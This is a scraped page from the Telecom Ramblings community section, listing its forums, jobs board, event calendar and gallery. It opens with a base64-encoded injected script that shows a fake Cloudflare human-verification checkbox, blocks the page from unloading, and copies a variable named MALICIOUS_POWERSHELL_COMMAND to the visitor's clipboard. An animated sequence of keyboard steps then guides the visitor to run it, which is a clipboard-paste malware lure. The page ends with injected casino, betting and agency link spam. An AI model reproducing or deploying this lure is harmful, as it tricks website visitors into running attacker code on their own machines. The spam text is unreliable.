ICAgICAgICAgICAgICBjcmVkZW50aWFsczogJ29taXQnLA0KICAgICAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJw0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5leGlzdHMgPT09IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBOZXh0IEdFVCBvbmx5IGFmdGVyIHRoaXMgcmVzcG9uc2Ug4oCUIG5ldmVyIG92ZXJsYXAuDQogICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQocG9sbFNlcnZlclN0YXR1cywgMjAwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50cyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25FbGVtZW50cy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25FbGVtZW50ID0gYnV0dG9uRWxlbWVudHNbaV07DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9uRWxlbWVudC5pbm5lckhUTUwuaW5kZXhPZignICsgJykgPT09IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBrZXlQYXJ0cyA9IGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLnNwbGl0KCcgKyAnKTsNCiAgICAgICAgICAgICAgICB2YXIgZG9jdW1lbnRGcmFnbWVudCA9IGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCg0KICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAwOyBqIDwga2V5UGFydHMubGVuZ3RoOyBqKyspIHsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoaiA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwbHVzU3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHBsdXNTcGFuLnN0eWxlLmNzc1RleHQgPSAnY29sb3I6IzY2Njtmb250LXNpemU6MTFweDttYXJnaW46MCAzcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyc7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi50ZXh0Q29udGVudCA9ICcrJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50RnJhZ21lbnQuYXBwZW5kQ2hpbGQocGx1c1NwYW4pOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG5ld0J1dHRvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2InKTsNCiAgICAgICAgICAgICAgICAgICAgbmV3QnV0dG9uLmlubmVySFRNTCA9IGtleVBhcnRzW2pdOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKG5ld0J1dHRvbik7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgYnV0dG9uRWxlbWVudC5wYXJlbnROb2RlLnJlcGxhY2VDaGlsZChkb2N1bWVudEZyYWdtZW50LCBidXR0b25FbGVtZW50KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgaW5zdHJ1Y3Rpb25JdGVtcyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaW5zdHJ1Y3Rpb24tbGlzdCBsaScpDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgdmFyIGFuaW1hdGlvblF1ZXVlID0gW107DQoNCiAgICAgICAgICAgIGluc3RydWN0aW9uSXRlbXMuZm9yRWFjaChmdW5jdGlvbihsaXN0SXRlbSkgew0KICAgICAgICAgICAgICAgIHZhciBidXR0b25zID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoDQogICAgICAgICAgICAgICAgICAgIGxpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgIGlmICghYnV0dG9ucy5sZW5ndGgpIHJldHVybjsNCg0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zLmxlbmd0aCA9PT0gMSkgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNjAwfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zWzBdfSk7DQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiA0NTB9KTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdwcmVzcycsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDAwfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIgaiA9IDE7IGogPCBidXR0b25zLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbal19KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAzODB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICdyZWxlYXNlJywga2V5OiBidXR0b25zW2pdfSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChqIDwgYnV0dG9ucy5sZW5ndGggLSAxKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDEwMH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDIwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNTAwfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxNjAwfSk7DQoNCiAgICAgICAgICAgIHZhciBjdXJyZW50SW5kZXggPSAwOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlTmV4dEFuaW1hdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoY3VycmVudEluZGV4ID49IGFuaW1hdGlvblF1ZXVlLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgICAgICBjdXJyZW50SW5kZXggPSAwOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBhbmltYXRpb25TdGVwID0gYW5pbWF0aW9uUXVldWVbY3VycmVudEluZGV4KytdOw0KDQogICAgICAgICAgICAgICAgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3ByZXNzJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5hZGQoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFuaW1hdGlvblN0ZXAudHlwZSA9PT0gJ3JlbGVhc2UnKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uU3RlcC5rZXkuY2xhc3NMaXN0LnJlbW92ZSgna2xpdCcpOw0KICAgICAgICAgICAgICAgICAgICBleGVjdXRlTmV4dEFuaW1hdGlvbigpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgYW5pbWF0aW9uU3RlcC5taWxsaXNlY29uZHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2V0VGltZW91dChleGVjdXRlTmV4dEFuaW1hdGlvbiwgNjAwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgdG9vbHRpcFRleHQpIHsNCiAgICAgICAgICAgIGlmICghdG9vbHRpcFRleHQpIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGZpcnN0TGlzdEl0ZW0gPSBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvcignLmluc3RydWN0aW9uLWxpc3QgbGknKTsNCiAgICAgICAgICAgIGlmICghZmlyc3RMaXN0SXRlbSkgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgYnV0dG9ucyA9IGZpcnN0TGlzdEl0ZW0ucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJyk7DQogICAgICAgICAgICB2YXIgdGFyZ2V0QnV0dG9uID0gbnVsbDsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBidXR0b25zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbnNbaV0ucXVlcnlTZWxlY3Rvcignc3ZnJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0QnV0dG9uID0gYnV0dG9uc1tpXTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbiAmJiBidXR0b25zLmxlbmd0aCkgew0KICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbMF07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICghdGFyZ2V0QnV0dG9uKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBoaW50U3BhbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nKTsNCiAgICAgICAgICAgIGhpbnRTcGFuLmNsYXNzTmFtZSA9ICd3ay1oaW50JzsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCc/JykpOw0KDQogICAgICAgICAgICB2YXIgdG9vbHRpcFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi5jbGFzc05hbWUgPSAnd2stdG9vbHRpcCc7DQogICAgICAgICAgICB0b29sdGlwU3Bhbi50ZXh0Q29udGVudCA9IHRvb2x0aXBUZXh0Ow0KICAgICAgICAgICAgaGludFNwYW4uYXBwZW5kQ2hpbGQodG9vbHRpcFNwYW4pOw0KDQogICAgICAgICAgICB0YXJnZXRCdXR0b24uYXBwZW5kQ2hpbGQoaGludFNwYW4pOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIGNoZWNrYm94QnV0dG9uID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNiJyk7DQogICAgICAgIHZhciBzcGlubmVyRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1zcCcpOw0KICAgICAgICB2YXIgbGFiZWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWxibCcpOw0KICAgICAgICB2YXIgbW9kYWxFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLW1vZGFsJyk7DQoNCiAgICAgICAgZnVuY3Rpb24gcHJldmVudFBhZ2VVbmxvYWQoZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5yZXR1cm5WYWx1ZSA9ICcnOw0KICAgICAgICB9DQoNCiAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2JlZm9yZXVubG9hZCcsIHByZXZlbnRQYWdlVW5sb2FkKTsNCg0KICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKGNoZWNrYm94QnV0dG9uKSB7DQogICAgICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy5ub3RSb2JvdFRleHQ7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIDMwMDApOw0KDQogICAgICAgIGNoZWNrYm94QnV0dG9uLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbi5fX2V4ZWN1dGVkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCA9IHRydWU7DQoNCiAgICAgICAgICAgIHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgaWYgKGxhYmVsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIGxhYmVsRWxlbWVudC50ZXh0Q29udGVudCA9IFVJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoUkFZX1RSQUNLSU5HX0lEKSB7DQogICAgICAgICAgICAgICAgc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICAgICAgICAgIGFjdGlvbjogJ2NiJywNCiAgICAgICAgICAgICAgICAgICAgazogQVBJX0FVVEhfS0VZLA0KICAgICAgICAgICAgICAgICAgICB0OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc2VydmVyUGF5bG9hZFByb21pc2UudGhlbihmdW5jdGlvbihwYXlsb2FkQ29tbWFuZCkgew0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgICAgIHByb2Nlc3NLZXlib2FyZFN0ZXBzKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIHN0YXJ0S2V5Ym9hcmRBbmltYXRpb24obW9kYWxFbGVtZW50KTsNCiAgICAgICAgICAgICAgICAgICAgYWRkU3RlcE9uZVRvb2x0aXAobW9kYWxFbGVtZW50LCBVSV9UUkFOU0xBVElPTlMuc3RlcEtleUhlbHApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmIChwYXlsb2FkQ29tbWFuZCkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgZmluYWxDb21tYW5kID0gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA/DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCArICc7JykgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHBheWxvYWRDb21tYW5kKTsNCg0KICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCg0KICAgICAgICAgICAgICAgICAgICB2YXIgb3NLZXlMaXN0ZW5lciA9IGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gZmFsc2U7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvcyA9PT0gJ21hYycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoZXZlbnQubWV0YUtleSB8fCBldmVudC5rZXkgPT09ICdNZXRhJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKG9zID09PSAnbGludXgnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5jdHJsS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBTdHJpbmcoZXZlbnQua2V5IHx8ICcnKS50b0xvd2VyQ2FzZSgpID09PSAndCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaG91bGRSZWZyZXNoQ2xpcGJvYXJkID0gISEoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50Lm1ldGFLZXkgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5ID09PSAnTWV0YScgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTEgfHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQua2V5Q29kZSA9PT0gOTINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2hvdWxkUmVmcmVzaENsaXBib2FyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlUZXh0VG9DbGlwYm9hcmQoYnVpbGRDbGlwYm9hcmRDb21tYW5kKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBvc0tleUxpc3RlbmVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB3YWl0Rm9yRXhlY3V0aW9uVG9rZW4oUkFZX1RSQUNLSU5HX0lEKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9KTsNCiAgICB9KSgpOw0KDQogIH0pO30oKTs=”);document.documentElement.appendChild(s);})();The nexus for the Telecom Ramblings community activities page. More will be coming here.

Ramblings Community Forums

The place to go for actual conversations with folks from within the telecom and internet infrastructure sectors and the financial community that serves it.  Currently we have three forums: These forums are moderated, but hopefully lightly so.

Ramblings Jobs Board

Job listings for the telecom and internet infrastructure sectors. We accept Paypal, but listing packages are available via invoice.

 Event Calendar

The Event Calendar is a free service for anything industry-related by any subscriber.  All you need to do is to send a calendar invite to telecomramblings@gmail.com, and your event will show up on the calendar.

Gallery

View collections of pictures from industry events.  If you have pictures you’d like to share here, send them and a description of the event to info@telecomramblings.com.

Submit a Link to Ramblings Choice

Submit interesting links here for consideration in the Ramblings Choice section of Telecom Ramblings.  Note the ‘interesting’ and ‘for consideration’ parts before spamming the webmaster’s inbox please.

pinco bet официальный сайтmostbet apk mütəmadi yeniləmələr və dəstək ilə tətbiqin aktuallığını qoruyub saxlamalıdır.

Na voxcasino czekają wysokie limity i wypłaty bez prowizji.

Mərclər xəttinin genişliyi Mostbet platformasında müxtəlif idman növlərini rahat seçməyə imkan verir.

1xBet предлагает лайв-режим, где события обновляются почти без пауз.

För dig som granskar olika spelsidor online erbjuder casinon utan licens enkel information och relevanta jämförelser.

pinco casino

Nielimitowane darmowe spiny i możliwości cashbacku są przyznawane członkom VoxCasino.

Limitsiz əyləncə və yüksək qazanc mostbet platformasının əsas hədəfidir.

tipwin sportwetten

Live-раздел Кент казино подойдет тем, кто предпочитает рулетку, блэкджек и игры с дилерами.

mostbet app je možné hodnotit podle bezpečnostních opatření, jako je ochrana dat uživatelů.

pin up casino

τα καλυτερα online casinocasino med swishcasino uden rofus

1хбет букмекерская контора и казино

Betonred Casino CZ

utan omsättningskrav casino utan svensk licens

Fantasztikus, hogy a legjobb online casino menürendszere ennyire logikus, letisztult és minden funkciót könnyen megtalálhatóvá tesz.

22bet casino Cesko

Utrzymanie pełnej kontroli nad swoim kontem w systemie NV Casino jest bardzo proste.

casino leovegas

Szukasz niezawodnej platformy do zakładów? Mostbet to najlepszy wybór.

nye casinoer uden dansk licens
Choisir un casino en ligne fiable permet de profiter pleinement de l’expérience de jeux d’argent en toute sécurité. La rapidité des dépôts, la variété des machines, les bonus attractifs et la conformité réglementaire sont des critères essentiels. Le guide des top Canadian sportsbooks aide les joueurs à comparer les sites et à choisir l’opération la plus adaptée à leurs besoins.
Choosing the right design partner is more crucial than most founders realize, as portfolio depth, domain expertise, iterative research, and seamless handoff processes dramatically influence outcomes beyond a glossy homepage. The directory best healthcare web design agencies lets you compare vetted teams side‑by‑side, uncovering which attributes truly matter before you hire.
Picking the right studio matters more than most founders expect, because portfolio depth, process maturity, industry focus, and research-handshaking shape the final product more than a polished landing page suggests. The directory leading us design agencies helps compare vetted teams side by side and understand which criteria actually matter before hiring a design agency.
casino utan svensk licenslucky pays casino

Sürətli qeydiyyat pəncərəsi pin up az üzərindən vaxtınızı almayacaq.

Meklējot piemērotāko platformu, pārliecinieties, vai attiecīgais Latvijas kazino ir atrodams valsts reģistrā.

Depozit və çəkim prosedurlarını bir toxunuşla etmək üçün mostbet yukle yoxlayın.

Казино бөліміндегі live ойындар мен дилерлер сапасын бағалауда Мостбет мүмкіндіктері жиі аталады.

Canlı dilerlərə qoşulmaq istəyirsinizsə, ilk növbədə mostbet giriş tələb olunur.

Choosing the right design agency is crucial. It hinges on a team’s portfolio depth, process maturity, industry focus, and the research‑to‑handoff workflow, far outweighing a slick landing page. The directory ecommerce product design companies lets you compare vetted teams side by side, revealing which criteria truly matter before hiring a design agency.
Пользователи, которые ищут информацию о казино, могут обратиться к нескольким источникам об казино Водка.
Opter pour un casino fiable garantit une expérience de jeux d’argent sereine, grâce à la protection des transactions, à la diversité des jeux, aux bonus attractifs et à la rapidité des retraits. Le guide ghostino casino vous permet de comparer les plateformes disponibles et de saisir les critères essentiels avant de s’engager dans un casino en ligne.
Selecting the best studio influences outcomes more than many founders realize, because portfolio depth, design rigor, industry specialization, and the rhythm of collaboration all shape the final product more than a glossy brochure. The directory top app design companies in austin lets you compare vetted agencies side‑by‑side and identify the criteria that truly matter before hiring a design partner.
Choosing the right design agency hinges on portfolio relevance, collaborative workflow, and expertise across UX/UI, product, web, app, SaaS, branding, and design systems. Evaluate how a team handles research, prototyping, and handoff to ensure a seamless outcome. The link to healthcare UX agencies lets you compare vetted firms and prioritize the factors that truly impact your project.
Selecting a creative partner goes beyond flashy prototypes; portfolio breadth, workflow discipline, industry expertise, and research rigor shape final outcomes more than a glossy site. The directory UI UX design agencies in the us directory lets you compare vetted teams side‑by‑side and pinpoint the criteria that truly matter before hiring a design agency.
Divertissez‑vous dans un univers de jeux d’argent sécurisé, où la variété des tables, des machines à sous et des promotions exclusives crée une expérience palpitante. Le site aruba bet casino garantit des paiements sûrs, des jackpots rapides et un support client réactif, vous permettant de profiter pleinement de vos mises sans souci.
Fissare una piattaforma affidabile è cruciale per gustare l’azzardo online in condizioni ottimali, visto che sicurezza dei pagamenti, varietà di slot, bonus e rapidità dei rimborsi determinano l’esperienza. Il sito trixino guida i giocatori nella scelta della piattaforma giusta, evidenziando criteri chiave per giocare in tranquillità.
Choosing a top digital design agency is crucial; portfolio breadth, proven UX/UI, web, app, SaaS and branding experience, process rigor, and how they translate user research into design systems all determine the final outcome. The directory top digital design agencies enables founders to compare vetted teams side‑by‑side and pick the partner that truly meets the project’s needs.
Nice day eOuCxWF0tfrAQZgFKdFbO6Cz
Nice day ZXQp9RelUsPxIqh11aWEAuTH

La creación de la cuenta en número de paniplay inicia con el suministro de la información básica del solicitante.

La rapidez del ingreso varía según la red y la entidad emisora de métodos de pagamento ivibet, no de la plataforma.

Choosing a reliable casino platform is essential to enjoy online gambling in safe conditions, as payment security, game variety, bonuses, and withdrawal speed can greatly influence the player experience. Mate Slots pokies guide helps you compare available sites and understand key criteria before playing at a casino.
Choosing a trustworthy platform is essential for enjoying online gambling in safe conditions, as payment security, game variety, bonuses, and withdrawal speed shape the player’s experience. The guide https://slotorobet-casino.com/ helps you compare available sites and understand key criteria before playing.
Opter pour un casino en ligne fiable comme Europe Fortune Casino garantit une expérience de jeu sécurisée, équitable et divertissante. Les joueurs apprécient la transparence des règles, la variété des jeux, des bonus attractifs et la rapidité des dépôts et retraits. Ce site propose des plateformes de jeux, des croupiers en direct et des promotions régulières pour maximiser vos gains et votre plaisir.
Choosing a trustworthy platform is essential for an enjoyable online gambling experience, as secure payments, a wide variety of slot machines, generous bonuses, and fast withdrawals all significantly influence players’ enjoyment. The guide to alice bet casino helps compare available sites and understand key criteria before playing at an online casino.
